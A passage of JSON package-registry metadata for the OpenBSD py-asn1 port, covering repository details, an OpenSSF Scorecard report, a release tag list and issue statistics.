Rosa","role":null,"created_at":"2023-08-11T23:43:24.085Z","updated_at":"2023-08-11T23:43:24.085Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/maintainers/alpine@ptrcnull.me/packages"}],"registry":{"name":"alpine-edge","url":"https://pkgs.alpinelinux.org/packages?branch=edge","ecosystem":"alpine","default":false,"packages_count":39920,"maintainers_count":905,"namespaces_count":3,"keywords_count":6586,"github":"alpinelinux","metadata":{"repos":["main","community","testing"],"funded_packages_count":2936},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.616Z","updated_at":"2026-08-20T05:05:14.609Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/namespaces"}},{"id":14547195,"name":"devel/py-asn1","ecosystem":"openbsd","description":"ASN.1 library for Python","homepage":"https://github.com/pyasn1/pyasn1","licenses":"bsd-2-clause","normalized_licenses":[],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":"devel","versions_count":1,"first_release_published_at":"2026-04-25T13:29:14.000Z","latest_release_published_at":"2026-04-25T13:29:14.000Z","latest_release_number":"0.6.3v0","last_synced_at":"2026-05-28T00:35:12.636Z","created_at":"2026-05-28T00:35:12.421Z","updated_at":"2026-08-15T09:21:24.937Z","registry_url":"https://cvsweb.openbsd.org/cgi-bin/cvsweb/ports/devel/py-asn1/","install_command":"pkg_add py3-asn1-0.6.3v0","documentation_url":null,"metadata":{"pkgstem":"py3-asn1","fullpkgname":"py3-asn1-0.6.3v0","subpackage":"-"},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.936Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:openbsd/devel/py-asn1?arch=amd64","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/openbsd/devel/py-asn1","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/openbsd/devel/py-asn1","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/openbsd/devel/py-asn1/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/packages/devel%2Fpy-asn1/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/packages/devel%2Fpy-asn1/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/packages/devel%2Fpy-asn1/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/packages/devel%2Fpy-asn1/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/packages/devel%2Fpy-asn1/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/packages/devel%2Fpy-asn1/codemeta","maintainers":[{"uuid":"benoit@openbsd.org","login":null,"name":"Benoit 